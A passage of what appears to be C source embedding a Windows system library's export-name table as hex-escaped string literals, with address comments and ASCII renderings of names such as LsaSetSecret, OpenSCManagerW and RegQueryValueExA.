\"\\x6D\\x61\\x69\\x6E\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x51\\x75\\x6F\\x74\\x61\"   //main.LsaSetQuota\n/* 7E2978E0 */   \"\\x73\\x46\\x6F\\x72\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x53\"   //sForAccount.LsaS\n/* 7E297900 */   \"\\x65\\x74\\x53\\x65\\x63\\x72\\x65\\x74\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x53\"   //etSecret.LsaSetS\n/* 7E297920 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4C\\x73\"   //ecurityObject.Ls\n/* 7E297940 */   \"\\x61\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x41\\x63\\x63\\x65\\x73\\x73\"   //aSetSystemAccess\n/* 7E297960 */   \"\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x54\\x72\"   //Account.LsaSetTr\n/* 7E297980 */   \"\\x75\\x73\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x49\\x6E\\x66\\x6F\\x42\"   //ustedDomainInfoB\n/* 7E2979A0 */   \"\\x79\\x4E\\x61\\x6D\\x65\\x00\\x4C\\x73\\x61\\x53\\x65\\x74\\x54\\x72\\x75\\x73\"   //yName.LsaSetTrus\n/* 7E2979C0 */   \"\\x74\\x65\\x64\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\"   //tedDomainInforma\n/* 7E2979E0 */   \"\\x74\\x69\\x6F\\x6E\\x00\\x4C\\x73\\x61\\x53\\x74\\x6F\\x72\\x65\\x50\\x72\\x69\"   //tion.LsaStorePri\n/* 7E297A00 */   \"\\x76\\x61\\x74\\x65\\x44\\x61\\x74\\x61\\x00\\x4D\\x44\\x34\\x46\\x69\\x6E\\x61\"   //vateData.MD4Fina\n/* 7E297A20 */   \"\\x6C\\x00\\x4D\\x44\\x34\\x49\\x6E\\x69\\x74\\x00\\x4D\\x44\\x34\\x55\\x70\\x64\"   //l.MD4Init.MD4Upd\n/* 7E297A40 */   \"\\x61\\x74\\x65\\x00\\x4D\\x44\\x35\\x46\\x69\\x6E\\x61\\x6C\\x00\\x4D\\x44\\x35\"   //ate.MD5Final.MD5\n/* 7E297A60 */   \"\\x49\\x6E\\x69\\x74\\x00\\x4D\\x44\\x35\\x55\\x70\\x64\\x61\\x74\\x65\\x00\\x4D\"   //Init.MD5Update.M\n/* 7E297A80 */   \"\\x53\\x43\\x68\\x61\\x70\\x53\\x72\\x76\\x43\\x68\\x61\\x6E\\x67\\x65\\x50\\x61\"   //SChapSrvChangePa\n/* 7E297AA0 */   \"\\x73\\x73\\x77\\x6F\\x72\\x64\\x00\\x4D\\x53\\x43\\x68\\x61\\x70\\x53\\x72\\x76\"   //ssword.MSChapSrv\n/* 7E297AC0 */   \"\\x43\\x68\\x61\\x6E\\x67\\x65\\x50\\x61\\x73\\x73\\x77\\x6F\\x72\\x64\\x32\\x00\"   //ChangePassword2.\n/* 7E297AE0 */   \"\\x4D\\x61\\x6B\\x65\\x41\\x62\\x73\\x6F\\x6C\\x75\\x74\\x65\\x53\\x44\\x00\\x4D\"   //MakeAbsoluteSD.M\n/* 7E297B00 */   \"\\x61\\x6B\\x65\\x41\\x62\\x73\\x6F\\x6C\\x75\\x74\\x65\\x53\\x44\\x32\\x00\\x4D\"   //akeAbsoluteSD2.M\n/* 7E297B20 */   \"\\x61\\x6B\\x65\\x53\\x65\\x6C\\x66\\x52\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x53\"   //akeSelfRelativeS\n/* 7E297B40 */   \"\\x44\\x00\\x4D\\x61\\x70\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x4D\\x61\\x73\\x6B\"   //D.MapGenericMask\n/* 7E297B60 */   \"\\x00\\x4E\\x6F\\x74\\x69\\x66\\x79\\x42\\x6F\\x6F\\x74\\x43\\x6F\\x6E\\x66\\x69\"   //.NotifyBootConfi\n/* 7E297B80 */   \"\\x67\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x4E\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\"   //gStatus.NotifyCh\n/* 7E297BA0 */   \"\\x61\\x6E\\x67\\x65\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x00\\x4F\\x62\\x6A\"   //angeEventLog.Obj\n/* 7E297BC0 */   \"\\x65\\x63\\x74\\x43\\x6C\\x6F\\x73\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\"   //ectCloseAuditAla\n/* 7E297BE0 */   \"\\x72\\x6D\\x41\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x43\\x6C\\x6F\\x73\\x65\\x41\"   //rmA.ObjectCloseA\n/* 7E297C00 */   \"\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x4F\\x62\\x6A\\x65\\x63\"   //uditAlarmW.Objec\n/* 7E297C20 */   \"\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\"   //tDeleteAuditAlar\n/* 7E297C40 */   \"\\x6D\\x41\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\"   //mA.ObjectDeleteA\n/* 7E297C60 */   \"\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x4F\\x62\\x6A\\x65\\x63\"   //uditAlarmW.Objec\n/* 7E297C80 */   \"\\x74\\x4F\\x70\\x65\\x6E\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x41\"   //tOpenAuditAlarmA\n/* 7E297CA0 */   \"\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x4F\\x70\\x65\\x6E\\x41\\x75\\x64\\x69\\x74\"   //.ObjectOpenAudit\n/* 7E297CC0 */   \"\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x50\\x72\\x69\"   //AlarmW.ObjectPri\n/* 7E297CE0 */   \"\\x76\\x69\\x6C\\x65\\x67\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\"   //vilegeAuditAlarm\n/* 7E297D00 */   \"\\x41\\x00\\x4F\\x62\\x6A\\x65\\x63\\x74\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //A.ObjectPrivileg\n/* 7E297D20 */   \"\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x4F\\x70\\x65\"   //eAuditAlarmW.Ope\n/* 7E297D40 */   \"\\x6E\\x42\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\"   //nBackupEventLogA\n/* 7E297D60 */   \"\\x00\\x4F\\x70\\x65\\x6E\\x42\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\"   //.OpenBackupEvent\n/* 7E297D80 */   \"\\x4C\\x6F\\x67\\x57\\x00\\x4F\\x70\\x65\\x6E\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\"   //LogW.OpenEncrypt\n/* 7E297DA0 */   \"\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\\x77\\x41\\x00\\x4F\\x70\\x65\\x6E\\x45\"   //edFileRawA.OpenE\n/* 7E297DC0 */   \"\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\\x77\\x57\"   //ncryptedFileRawW\n/* 7E297DE0 */   \"\\x00\\x4F\\x70\\x65\\x6E\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x4F\"   //.OpenEventLogA.O\n/* 7E297E00 */   \"\\x70\\x65\\x6E\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x4F\\x70\\x65\"   //penEventLogW.Ope\n/* 7E297E20 */   \"\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4F\\x70\"   //nProcessToken.Op\n/* 7E297E40 */   \"\\x65\\x6E\\x53\\x43\\x4D\\x61\\x6E\\x61\\x67\\x65\\x72\\x41\\x00\\x4F\\x70\\x65\"   //enSCManagerA.Ope\n/* 7E297E60 */   \"\\x6E\\x53\\x43\\x4D\\x61\\x6E\\x61\\x67\\x65\\x72\\x57\\x00\\x4F\\x70\\x65\\x6E\"   //nSCManagerW.Open\n/* 7E297E80 */   \"\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x00\\x4F\\x70\\x65\\x6E\\x53\\x65\\x72\"   //ServiceA.OpenSer\n/* 7E297EA0 */   \"\\x76\\x69\\x63\\x65\\x57\\x00\\x4F\\x70\\x65\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\"   //viceW.OpenThread\n/* 7E297EC0 */   \"\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4F\\x70\\x65\\x6E\\x54\\x72\\x61\\x63\\x65\\x41\"   //Token.OpenTraceA\n/* 7E297EE0 */   \"\\x00\\x4F\\x70\\x65\\x6E\\x54\\x72\\x61\\x63\\x65\\x57\\x00\\x50\\x72\\x69\\x76\"   //.OpenTraceW.Priv\n/* 7E297F00 */   \"\\x69\\x6C\\x65\\x67\\x65\\x43\\x68\\x65\\x63\\x6B\\x00\\x50\\x72\\x69\\x76\\x69\"   //ilegeCheck.Privi\n/* 7E297F20 */   \"\\x6C\\x65\\x67\\x65\\x64\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x75\\x64\\x69\"   //legedServiceAudi\n/* 7E297F40 */   \"\\x74\\x41\\x6C\\x61\\x72\\x6D\\x41\\x00\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\"   //tAlarmA.Privileg\n/* 7E297F60 */   \"\\x65\\x64\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\"   //edServiceAuditAl\n/* 7E297F80 */   \"\\x61\\x72\\x6D\\x57\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x64\\x6C\\x65\"   //armW.ProcessIdle\n/* 7E297FA0 */   \"\\x54\\x61\\x73\\x6B\\x73\\x00\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x54\\x72\\x61\"   //Tasks.ProcessTra\n/* 7E297FC0 */   \"\\x63\\x65\\x00\\x51\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\\x54\\x72\\x61\\x63\\x65\"   //ce.QueryAllTrace\n/* 7E297FE0 */   \"\\x73\\x41\\x00\\x51\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\\x54\\x72\\x61\\x63\\x65\"   //sA.QueryAllTrace\n/* 7E298000 */   \"\\x73\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x52\\x65\\x63\\x6F\\x76\\x65\\x72\\x79\"   //sW.QueryRecovery\n/* 7E298020 */   \"\\x41\\x67\\x65\\x6E\\x74\\x73\\x4F\\x6E\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\"   //AgentsOnEncrypte\n/* 7E298040 */   \"\\x64\\x46\\x69\\x6C\\x65\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\"   //dFile.QueryServi\n/* 7E298060 */   \"\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x32\\x41\\x00\\x51\\x75\\x65\\x72\\x79\"   //ceConfig2A.Query\n/* 7E298080 */   \"\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x32\\x57\\x00\"   //ServiceConfig2W.\n/* 7E2980A0 */   \"\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\"   //QueryServiceConf\n/* 7E2980C0 */   \"\\x69\\x67\\x41\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //igA.QueryService\n/* 7E2980E0 */   \"\\x43\\x6F\\x6E\\x66\\x69\\x67\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\"   //ConfigW.QuerySer\n/* 7E298100 */   \"\\x76\\x69\\x63\\x65\\x4C\\x6F\\x63\\x6B\\x53\\x74\\x61\\x74\\x75\\x73\\x41\\x00\"   //viceLockStatusA.\n/* 7E298120 */   \"\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4C\\x6F\\x63\\x6B\"   //QueryServiceLock\n/* 7E298140 */   \"\\x53\\x74\\x61\\x74\\x75\\x73\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\"   //StatusW.QuerySer\n/* 7E298160 */   \"\\x76\\x69\\x63\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //viceObjectSecuri\n/* 7E298180 */   \"\\x74\\x79\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x53\"   //ty.QueryServiceS\n/* 7E2981A0 */   \"\\x74\\x61\\x74\\x75\\x73\\x00\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x72\\x76\\x69\"   //tatus.QueryServi\n/* 7E2981C0 */   \"\\x63\\x65\\x53\\x74\\x61\\x74\\x75\\x73\\x45\\x78\\x00\\x51\\x75\\x65\\x72\\x79\"   //ceStatusEx.Query\n/* 7E2981E0 */   \"\\x54\\x72\\x61\\x63\\x65\\x41\\x00\\x51\\x75\\x65\\x72\\x79\\x54\\x72\\x61\\x63\"   //TraceA.QueryTrac\n/* 7E298200 */   \"\\x65\\x57\\x00\\x51\\x75\\x65\\x72\\x79\\x55\\x73\\x65\\x72\\x73\\x4F\\x6E\\x45\"   //eW.QueryUsersOnE\n/* 7E298220 */   \"\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x00\\x51\\x75\\x65\"   //ncryptedFile.Que\n/* 7E298240 */   \"\\x72\\x79\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x33\\x31\\x46\\x69\\x6C\\x65\\x73\"   //ryWindows31Files\n/* 7E298260 */   \"\\x4D\\x69\\x67\\x72\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x65\\x61\\x64\\x45\\x6E\"   //Migration.ReadEn\n/* 7E298280 */   \"\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\\x77\\x00\\x52\"   //cryptedFileRaw.R\n/* 7E2982A0 */   \"\\x65\\x61\\x64\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x52\\x65\\x61\"   //eadEventLogA.Rea\n/* 7E2982C0 */   \"\\x64\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x52\\x65\\x67\\x43\\x6C\"   //dEventLogW.RegCl\n/* 7E2982E0 */   \"\\x6F\\x73\\x65\\x4B\\x65\\x79\\x00\\x52\\x65\\x67\\x43\\x6F\\x6E\\x6E\\x65\\x63\"   //oseKey.RegConnec\n/* 7E298300 */   \"\\x74\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x41\\x00\\x52\\x65\\x67\\x43\\x6F\"   //tRegistryA.RegCo\n/* 7E298320 */   \"\\x6E\\x6E\\x65\\x63\\x74\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\\x57\\x00\\x52\"   //nnectRegistryW.R\n/* 7E298340 */   \"\\x65\\x67\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\"   //egCreateKeyA.Reg\n/* 7E298360 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x45\\x78\\x41\\x00\\x52\\x65\\x67\"   //CreateKeyExA.Reg\n/* 7E298380 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x45\\x78\\x57\\x00\\x52\\x65\\x67\"   //CreateKeyExW.Reg\n/* 7E2983A0 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\\x67\\x44\\x65\"   //CreateKeyW.RegDe\n/* 7E2983C0 */   \"\\x6C\\x65\\x74\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\"   //leteKeyA.RegDele\n/* 7E2983E0 */   \"\\x74\\x65\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\\x74\\x65\"   //teKeyW.RegDelete\n/* 7E298400 */   \"\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x52\\x65\\x67\\x44\\x65\\x6C\\x65\\x74\\x65\"   //ValueA.RegDelete\n/* 7E298420 */   \"\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x52\\x65\\x67\\x44\\x69\\x73\\x61\\x62\\x6C\"   //ValueW.RegDisabl\n/* 7E298440 */   \"\\x65\\x50\\x72\\x65\\x64\\x65\\x66\\x69\\x6E\\x65\\x64\\x43\\x61\\x63\\x68\\x65\"   //ePredefinedCache\n/* 7E298460 */   \"\\x00\\x52\\x65\\x67\\x44\\x69\\x73\\x61\\x62\\x6C\\x65\\x50\\x72\\x65\\x64\\x65\"   //.RegDisablePrede\n/* 7E298480 */   \"\\x66\\x69\\x6E\\x65\\x64\\x43\\x61\\x63\\x68\\x65\\x45\\x78\\x00\\x52\\x65\\x67\"   //finedCacheEx.Reg\n/* 7E2984A0 */   \"\\x45\\x6E\\x75\\x6D\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\"   //EnumKeyA.RegEnum\n/* 7E2984C0 */   \"\\x4B\\x65\\x79\\x45\\x78\\x41\\x00\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\\x4B\\x65\"   //KeyExA.RegEnumKe\n/* 7E2984E0 */   \"\\x79\\x45\\x78\\x57\\x00\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\\x4B\\x65\\x79\\x57\"   //yExW.RegEnumKeyW\n/* 7E298500 */   \"\\x00\\x52\\x65\\x67\\x45\\x6E\\x75\\x6D\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x52\"   //.RegEnumValueA.R\n/* 7E298520 */   \"\\x65\\x67\\x45\\x6E\\x75\\x6D\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x52\\x65\\x67\"   //egEnumValueW.Reg\n/* 7E298540 */   \"\\x46\\x6C\\x75\\x73\\x68\\x4B\\x65\\x79\\x00\\x52\\x65\\x67\\x47\\x65\\x74\\x4B\"   //FlushKey.RegGetK\n/* 7E298560 */   \"\\x65\\x79\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x52\\x65\\x67\\x4C\\x6F\"   //eySecurity.RegLo\n/* 7E298580 */   \"\\x61\\x64\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x4C\\x6F\\x61\\x64\\x4B\\x65\"   //adKeyA.RegLoadKe\n/* 7E2985A0 */   \"\\x79\\x57\\x00\\x52\\x65\\x67\\x4E\\x6F\\x74\\x69\\x66\\x79\\x43\\x68\\x61\\x6E\"   //yW.RegNotifyChan\n/* 7E2985C0 */   \"\\x67\\x65\\x4B\\x65\\x79\\x56\\x61\\x6C\\x75\\x65\\x00\\x52\\x65\\x67\\x4F\\x70\"   //geKeyValue.RegOp\n/* 7E2985E0 */   \"\\x65\\x6E\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x55\\x73\\x65\\x72\\x00\\x52\\x65\"   //enCurrentUser.Re\n/* 7E298600 */   \"\\x67\\x4F\\x70\\x65\\x6E\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x4F\\x70\\x65\"   //gOpenKeyA.RegOpe\n/* 7E298620 */   \"\\x6E\\x4B\\x65\\x79\\x45\\x78\\x41\\x00\\x52\\x65\\x67\\x4F\\x70\\x65\\x6E\\x4B\"   //nKeyExA.RegOpenK\n/* 7E298640 */   \"\\x65\\x79\\x45\\x78\\x57\\x00\\x52\\x65\\x67\\x4F\\x70\\x65\\x6E\\x4B\\x65\\x79\"   //eyExW.RegOpenKey\n/* 7E298660 */   \"\\x57\\x00\\x52\\x65\\x67\\x4F\\x70\\x65\\x6E\\x55\\x73\\x65\\x72\\x43\\x6C\\x61\"   //W.RegOpenUserCla\n/* 7E298680 */   \"\\x73\\x73\\x65\\x73\\x52\\x6F\\x6F\\x74\\x00\\x52\\x65\\x67\\x4F\\x76\\x65\\x72\"   //ssesRoot.RegOver\n/* 7E2986A0 */   \"\\x72\\x69\\x64\\x65\\x50\\x72\\x65\\x64\\x65\\x66\\x4B\\x65\\x79\\x00\\x52\\x65\"   //ridePredefKey.Re\n/* 7E2986C0 */   \"\\x67\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x4B\\x65\\x79\\x41\\x00\\x52\"   //gQueryInfoKeyA.R\n/* 7E2986E0 */   \"\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x4B\\x65\\x79\\x57\\x00\"   //egQueryInfoKeyW.\n/* 7E298700 */   \"\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\"   //RegQueryMultiple\n/* 7E298720 */   \"\\x56\\x61\\x6C\\x75\\x65\\x73\\x41\\x00\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\"   //ValuesA.RegQuery\n/* 7E298740 */   \"\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x56\\x61\\x6C\\x75\\x65\\x73\\x57\\x00\"   //MultipleValuesW.\n/* 7E298760 */   \"\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x52\"   //RegQueryValueA.R\n/* 7E298780 */   \"\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x41\\x00\"   //egQueryValueExA.\n/* 7E2987A0 */   \"\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x57\"   //RegQueryValueExW\n/* 7E2987C0 */   \"\\x00\\x52\\x65\\x67\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\"   //.RegQueryValueW.\n/* 7E2987E0 */   \"\\x52\\x65\\x67\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\"   //RegReplaceKeyA.R\n/* 7E298800 */   \"\\x65\\x67\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\"   //egReplaceKeyW.Re\n/* 7E298820 */   \"\\x67\\x52\\x65\\x73\\x74\\x6F\\x72\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\"   //gRestoreKeyA.Reg\n/* 7E298840 */   \"\\x52\\x65\\x73\\x74\\x6F\\x72\\x65\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\\x67\\x53\"   //RestoreKeyW.RegS\n/* 7E298860 */   \"\\x61\\x76\\x65\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x53\\x61\\x76\\x65\\x4B\"   //aveKeyA.RegSaveK\n/* 7E298880 */   \"\\x65\\x79\\x45\\x78\\x41\\x00\\x52\\x65\\x67\\x53\\x61\\x76\\x65\\x4B\\x65\\x79\"   //eyExA.RegSaveKey\n/* 7E2988A0 */   \"\\x45\\x78\\x57\\x00\\x52\\x65\\x67\\x53\\x61\\x76\\x65\\x4B\\x65\\x79\\x57\\x00\"   //ExW.RegSaveKeyW.\n/* 7E2988C0 */   \"\\x52\\x65\\x67\\x53\\x65\\x74\\x4B\\x65\\x79\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //RegSetKeySecurit\n/* 7E2988E0 */   \"\\x79\\x00\\x52\\x65\\x67\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x41\\x00\\x52\"   //y.RegSetValueA.R\n/* 7E298900 */   \"\\x65\\x67\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x41\\x00\\x52\\x65\"   //egSetValueExA.Re\n/* 7E298920 */   \"\\x67\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x57\\x00\\x52\\x65\\x67\"   //gSetValueExW.Reg\n/* 7E298940 */   \"\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x57\\x00\\x52\\x65\\x67\\x55\\x6E\\x4C\"   //SetValueW.RegUnL\n/* 7E298960 */   \"\\x6F\\x61\\x64\\x4B\\x65\\x79\\x41\\x00\\x52\\x65\\x67\\x55\\x6E\\x4C\\x6F\\x61\"   //oadKeyA.RegUnLoa\n/* 7E298980 */   \"\\x64\\x4B\\x65\\x79\\x57\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x45\\x76\"   //dKeyW.RegisterEv\n/* 7E2989A0 */   \"\\x65\\x6E\\x74\\x53\\x6F\\x75\\x72\\x63\\x65\\x41\\x00\\x52\\x65\\x67\\x69\\x73\"   //entSourceA.Regis\n/* 7E2989C0 */   \"\\x74\\x65\\x72\\x45\\x76\\x65\\x6E\\x74\\x53\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\"   //terEventSourceW.\n/* 7E2989E0 */   \"\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x49\\x64\\x6C\\x65\\x54\\x61\\x73\\x6B\"   //RegisterIdleTask\n/* 7E298A00 */   \"\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //.RegisterService\n/* 7E298A20 */   \"\\x43\\x74\\x72\\x6C\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x41\\x00\\x52\\x65\\x67\"   //CtrlHandlerA.Reg\n/* 7E298A40 */   \"\\x69\\x73\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x74\\x72\\x6C\"   //isterServiceCtrl\n/* 7E298A60 */   \"\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x45\\x78\\x41\\x00\\x52\\x65\\x67\\x69\\x73\"   //HandlerExA.Regis\n/* 7E298A80 */   \"\\x74\\x65\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x74\\x72\\x6C\\x48\\x61\"   //terServiceCtrlHa\n/* 7E298AA0 */   \"\\x6E\\x64\\x6C\\x65\\x72\\x45\\x78\\x57\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\"   //ndlerExW.Registe\n/* 7E298AC0 */   \"\\x72\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x74\\x72\\x6C\\x48\\x61\\x6E\\x64\"   //rServiceCtrlHand\n/* 7E298AE0 */   \"\\x6C\\x65\\x72\\x57\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x54\\x72\\x61\"   //lerW.RegisterTra\n/* 7E298B00 */   \"\\x63\\x65\\x47\\x75\\x69\\x64\\x73\\x41\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\"   //ceGuidsA.Registe\n/* 7E298B20 */   \"\\x72\\x54\\x72\\x61\\x63\\x65\\x47\\x75\\x69\\x64\\x73\\x57\\x00\\x52\\x65\\x6D\"   //rTraceGuidsW.Rem\n/* 7E298B40 */   \"\\x6F\\x76\\x65\\x54\\x72\\x61\\x63\\x65\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\"   //oveTraceCallback\n/* 7E298B60 */   \"\\x00\\x52\\x65\\x6D\\x6F\\x76\\x65\\x55\\x73\\x65\\x72\\x73\\x46\\x72\\x6F\\x6D\"   //.RemoveUsersFrom\n/* 7E298B80 */   \"\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x00\\x52\\x65\"   //EncryptedFile.Re\n/* 7E298BA0 */   \"\\x70\\x6F\\x72\\x74\\x45\\x76\\x65\\x6E\\x74\\x41\\x00\\x52\\x65\\x70\\x6F\\x72\"   //portEventA.Repor\n/* 7E298BC0 */   \"\\x74\\x45\\x76\\x65\\x6E\\x74\\x57\\x00\\x52\\x65\\x76\\x65\\x72\\x74\\x54\\x6F\"   //tEventW.RevertTo\n/* 7E298BE0 */   \"\\x53\\x65\\x6C\\x66\\x00\\x53\\x61\\x66\\x65\\x72\\x43\\x6C\\x6F\\x73\\x65\\x4C\"   //Self.SaferCloseL\n/* 7E298C00 */   \"\\x65\\x76\\x65\\x6C\\x00\\x53\\x61\\x66\\x65\\x72\\x43\\x6F\\x6D\\x70\\x75\\x74\"   //evel.SaferComput\n/* 7E298C20 */   \"\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x46\\x72\\x6F\\x6D\\x4C\\x65\\x76\\x65\\x6C\\x00\"   //eTokenFromLevel.\n/* 